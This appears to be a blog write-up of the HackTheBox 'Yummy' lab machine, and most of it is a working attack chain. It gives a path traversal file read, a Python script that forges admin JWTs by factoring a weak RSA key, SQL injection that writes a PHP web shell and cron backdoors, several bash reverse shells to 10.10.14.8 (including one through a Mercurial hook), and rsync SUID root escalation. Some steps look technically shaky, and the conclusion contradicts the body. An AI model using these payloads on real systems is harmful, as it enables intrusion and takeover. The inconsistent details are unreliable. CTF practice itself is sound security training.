HackTheBox Yummy Writeup | Exploiting Web Vulnerabilities
Introduction
This post walks through the HackTheBox Yummy machine, showcasing multiple vulnerabilities that must be chained together to gain root access. The attack flow involves file disclosure, JWT manipulation, SQL injection, and Linux cron job abuse to escalate privileges.
HackTheBox Yummy Description
HackTheBox Yummy is a hard box that starts with a Restaurant web app using Caddy web service, on port 80, where an attacker finds an arbitrary file read HTTP Location header, which is not handled and sanitized properly by default Caddy default configuration.
Reading the source code, the web app uses JWT RSA keypairs to forge an admin token and escalate privileges on the web app.
The admin panel has an SQL injection, allowing arbitrary file write, the attacker now overwrites a file running periodically (`cronjob`). Improper directory permissions allow the attacker to move laterally to www-data and eventually dev user. The dev user can execute rsync binary as root, which helps escalate privileges to root.
Walkthrough
Reconnaissance and Initial Enumeration
The attack starts with network scanning using nmap:
nmap -sC -sV -oA yummy 10.10.11.36
The scan reveals two open ports:
The website at https://yummy.htb/ is a restaurant booking application with a login and register feature.
echo "10.10.11.36 yummy.htb" | sudo tee -a /etc/hosts
Web Application Analysis
The site appears to be a restaurant reservation system. To fingerprint the backend framework, the attacker accesses a non-existent page (404 Not Found), revealing a Flask error page. This confirms the backend is Python-based, helping guide the attack methodology.
Sensitive File Disclosure via Path Traversal
The “Save to Calendar” feature allows downloading .ics files. By modifying the request, sensitive files like /etc/passwd can be retrieved:
/export?file=../../../../../etc/passwd
Use /proc/self/environ to check environment variables for credentials.
JWT Token Exploitation — Gaining Admin Privileges
When a user tries to access /admindashboard as specified in app.py, the application triggers the validate_login() function (located on line 268 of app.py).
The validate_login() function, defined on line 166, calls verify_token() on line 168. This function is imported from the /opt/app/middleware/verification.py file.
During execution, verify_token() decodes the user’s JWT and checks the roles listed in the claims section. A valid role must be either customer or administrator.
On line 25, the function returns the user’s email and current role to verify_token(), which then passes it back to app.py.
Lines 169–172 in app.py determine whether the user is an administrator or a regular user. If the user is an administrator, the application renders the admindashboard.html template according to the /admindashboard route in app.py.
By inspecting the JWT authentication tokens, the attacker finds that the token is signed using RSA with a weak 1024-bit key, which can be factored to derive the private key:
Steps to Break JWT Authentication:
You can use the below python script to achieve the above:
from Crypto.PublicKey import RSA
from cryptography.hazmat.primitives import serialization
import sympy
import jwt
import base64
# Provide the JWT token
original_jwt = "#eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjEyMzFAMTIzLmNvbSIsInJvbGUiOiJjdXN0b21lcl8wYTk5NTY3ZCIsImlhdCI6MTczOTEzODc5MiwiZXhwIjoxNzM5MTQyMzkyLCJqd2siOnsia3R5IjoiUlNBIiwibiI6IjU3MDgxMTczOTUzOTU2OTc4MjAzNDU0OTcwNTA1NzM0ODczMjQzMjQwNTUyMjQzMjgwNTc3MjUxMTY3MDY4MDkyMDQ3MzMwMzAzNzkyOTQ2NzA1MzcxNzgwNjg3NjY0Nzg4MTg1NjczNjU2MTY5NDI1MDg1MDczNTUwNjk5MjA3MzA2MjI3MzUxMjUxNTA4NzI1NjY4NjI5NDE2MjI4NzU5NzI2NzgwMjMzNTQ5MzY0ODUzNDc3MDI3Mjc5OTQyOTkxOTIyMjU4NDI3NDU3NjA4MTQ5MzIyODQyOTY3MjYwMjg0MzA1Njg0OTY4OTU1NjY4MjM0ODcxMTc5NTY3MjI4Mjc2MTAyMTg1OTQyMjkwNTA1NTk2MDczMTkxMjM4MzcyNzkwNzM3NzA0NTMzMTIzMDU2ODM1NDA5IiwiZSI6NjU1Mzd9fQ.A04zxlAgKTTUWKDKhPlfv7TtvyayJfTl5F22rlk-wkaLC45sFzfFNfC_kIm3rc_DZGLPIRILyavXvyBNyIwvEakTgcIbN8kvrjVB8WMzPefuYB3Mp0vohlFJ1zLJJS9gd-paCTXzMeIurtkcpfaBrdEPpIpj_klZWEJlAWAGuQxHvOA"
# Extract the JWT public key component (n)
encoded_payload = original_jwt.split(".")[1].encode()
decoded_payload = base64.b64decode(encoded_payload + b'=' * (-len(encoded_payload) % 4)).decode()
n = int(decoded_payload.split('"n":')[1].split('"')[1])
# Define the public exponent
e = 65537
# Factorize n to extract prime factors p and q
factors = sympy.factorint(n)
p, q = list(factors.keys())
# Compute Euler's Totient Function φ(n)
phi_n = (p - 1) * (q - 1)
# Compute the private exponent d
d = pow(e, -1, phi_n)
# Generate the private RSA key
key = RSA.construct((n, e, d, p, q))
signing_key = key.export_key()
# Decode the original JWT payload without verifying the signature
decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})
# Modify the role to "administrator"
decoded_payload['role'] = 'administrator'
# Generate a new JWT with the modified payload
new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')
# Output the modified JWT
print(new_jwt)
Commands used:
python3 RSACTF-Tool.py -n <N_value> -e 65537
openssl rsa -in private.pem -outform PEM -pubout -out public.pem
Once the new JWT is signed, it can be injected into the browser’s local storage, allowing full access to the admin panel.
SQL Injection — Writing Malicious Files to Disk
In the admin panel, an SQL injection vulnerability is discovered in the reservation deletion functionality. Since MySQL is misconfigured to allow INTO OUTFILE, the attacker can write a PHP or shell script to disk and execute it.
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
This allows remote code execution (RCE) by visiting:
https://yummy.htb/shell.php?cmd=id
Alternative SQL Injection Path: By leveraging stacked queries, the attacker writes a cron job payload that executes a reverse shell.
SELECT '*/1 * * * * /bin/bash -c "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1"' INTO OUTFILE '/etc/cron.d/backdoor';
The backdoor executes every minute, providing a persistent reverse shell.
Leveraging SQL Injection & Cron Job Exploitation — Privilege Escalation to www-data
Exploit MySQL’s INTO OUTFILE capability:
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
If INTO OUTFILE is disabled, write a reverse shell script inside /data/scripts.
Once an initial foothold is gained, we see that a cron job executes scripts from /data/scripts/db_monitor.sh. We can then Inject a reverse shell script into /data/scripts/ using SQLi:
SELECT "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" INTO OUTFILE '/data/scripts/payload.sh';
Alternatively by placing a malicious script in this directory, the attacker achieves arbitrary code execution.
echo "bash -i >& /dev/tcp/10.10.14.8/9001 0>&1" > /data/scripts/fixer_99.sh
chmod +x /data/scripts/fixer_99.sh
The cron job executes this script automatically, upgrading access to MySQL user privileges.
nc -lvnp 9001
Privilege Escalation to Root — Exploiting rsync
The www-data user also has cron jobs running. Inject a payload in /var/www/html/backup.sh, which runs as www-data.
The final privilege escalation involves abusing wildcard expansion in rsync, which is misconfigured in sudoers.
First, hg repository hooks allow command execution
echo '[hooks]' > .hg/hgrc
echo 'changegroup = bash -i >& /dev/tcp/10.10.14.8/9002 0>&1' >> .hg/hgrc
Trigger with
hg pull
Next, sudo -l shows rsync can be run with --chown=root:root so we copy /bin/bash and set SUID bit
rsync -a --chown=root:root /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p
This copies /bin/bash, sets the SUID bit, and grants a root shell.
Mitigations & Prevention
Use Strong JWT Keys — RSA 4096-bit or higher.
Prevent SQL Injection — Use prepared statements and parameterized queries.
Restrict File Access — MySQL SECURE_FILE_PRIV should be set.
Secure Cron Jobs — Remove write access to cron-executed directories.
Properly Configure sudo Rules – Avoid sudo commands that allow arbitrary file execution.
Conclusion
The writeup demonstrates a methodical approach to compromising the “Yummy” machine on HackTheBox. By conducting thorough enumeration, they identify a web application running on port 80. Through analysis, they discover a SQL injection vulnerability, which is exploited to retrieve sensitive information from the database.
Further investigation reveals an administrative portal with weak credentials, allowing for unauthorized access. The author then uploads a malicious file to achieve remote code execution, ultimately gaining root privileges on the system.
You can also watch: